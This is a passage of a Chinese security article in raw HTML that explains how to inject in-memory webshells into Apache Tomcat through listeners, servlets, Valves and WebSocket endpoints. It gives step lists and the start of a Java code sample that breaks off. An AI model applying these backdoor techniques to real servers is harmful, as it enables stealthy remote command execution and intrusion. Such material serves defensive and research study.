12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;"><img data-ratio="0.8732142857142857" style="width:553.8084106445312px;height:488.7799987792969px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=603527ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK3J6sUI9ZbCMCTt85TEMRicduet0YzqH9RPPVDDMQrC1dfKmpsEpkIZA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">他的context属性中的context属性包含Standardcontext</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;"><img data-ratio="0.5321428571428571" style="width:553.8084106445312px;height:297.5px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=9ca9a9c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKXLYMq6LQ6duUvwtHzXqXUoYgbSsx3lvUEsrbaERwmJoefQSTxiaO3NQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">向数组添加listener</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;"><img data-ratio="0.6267857142857143" style="width:553.8084106445312px;height:351.3399963378906px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=1ba96276&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKscfFEhtUmaNjfp1K6Lp8nvmnricEq514iclubjF0NftTpfqXZzHHnjRg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">之后就会触发执行命令了</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Calibri;">servlet内存马</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">创建恶意Servlet</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">用Wrapper对其进行封装</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">添加封装后的恶意Wrapper到StandardContext的children当中</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">4.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">添加ServletMapping将访问的URL和Servlet进行绑定</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">webappClassLoaderBase的值为ParallelWebappClassLoader实例</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">Resources为StandardRoot，context为我们要的StandardContext</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;"><img data-ratio="0.49107142857142855" style="width:553.8084106445312px;height:274.510009765625px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=3e96c18c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKhd2g2nObutIRjy80PaHbFyg2Pg96XgnIfbcOVIgdCHKvQNjibxqqcQg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">如果是java7会报错</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;">原因是getResources返回对象为null，强制类型转换时出错抛出null指针错误</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:servlet内存马;"><span style="font-family:Cambria;"><img data-ratio="0.18035714285714285" style="width:553.8084106445312px;height:101.13999938964844px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=6f62d0c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKYeiamW3Vvprc5RgP6cPA2gmBYiayZwaOSDLelVkHg9ickF5Hp3gzlJbGQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-family:Calibri;">Valve内存马</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.anquanke.com/post/id/225870" target="_blank">https://www.anquanke.com/post/id/225870</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.freebuf.com/articles/web/348663.html" target="_blank">https://www.freebuf.com/articles/web/348663.html</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-family:Cambria;"><img data-ratio="0.5428571428571428" style="width:553.8084106445312px;height:303.8900146484375px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=e929b9ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKefQnicax2YwS6HHSX7OcjXGTWUt4ym0BjrAapQoDNgJJuseeFqp11Q%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-family:Cambria;"><img data-ratio="0.0375" style="width:553.8084106445312px;height:20.989999771118164px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=b3b001cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK0NstFBFLiaTiaumkoDePy1MxIydo6QDJcoIV5pluc2RwkJEdJp5uZq5g%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-family:Cambria;">给standardcontext中的pipeline添加valve，添加后的next如下</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:valve内存马;"><span style="font-family:Cambria;"><img data-ratio="0.5571428571428572" style="width:553.8084106445312px;height:311.5400085449219px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=8363fe9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKEcReWJLNiaohgu61RUbKk3NkFhK2sOPwrPogIzia2eibQjq5hRNou1rPA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Calibri;">Websocket内存马</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://xz.aliyun.com/t/11566" target="_blank">https://xz.aliyun.com/t/11566</a></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">获取当前的StandardContext</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">通过StandardContext获取ServerContainer</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">定义一个恶意类，并创建一个ServerEndpointConfig，给这个恶意类分配URI path</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">4.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">调用ServerContainer.addEndpoint方法，将创建的ServerEndpointConfig添加进去</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">org</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">apache</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">catalina</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">core</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">StandardContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">org</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">apache</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">catalina</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">loader</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">WebappClassLoaderBase</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">org</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">apache</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">tomcat</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">websocket</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">server</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">WsServerContainer</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">javax</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">websocket</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.*;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">javax</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">websocket</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">server</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">ServerContainer</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">javax</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">websocket</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">server</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">ServerEndpointConfig</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">java</span></span></span><span 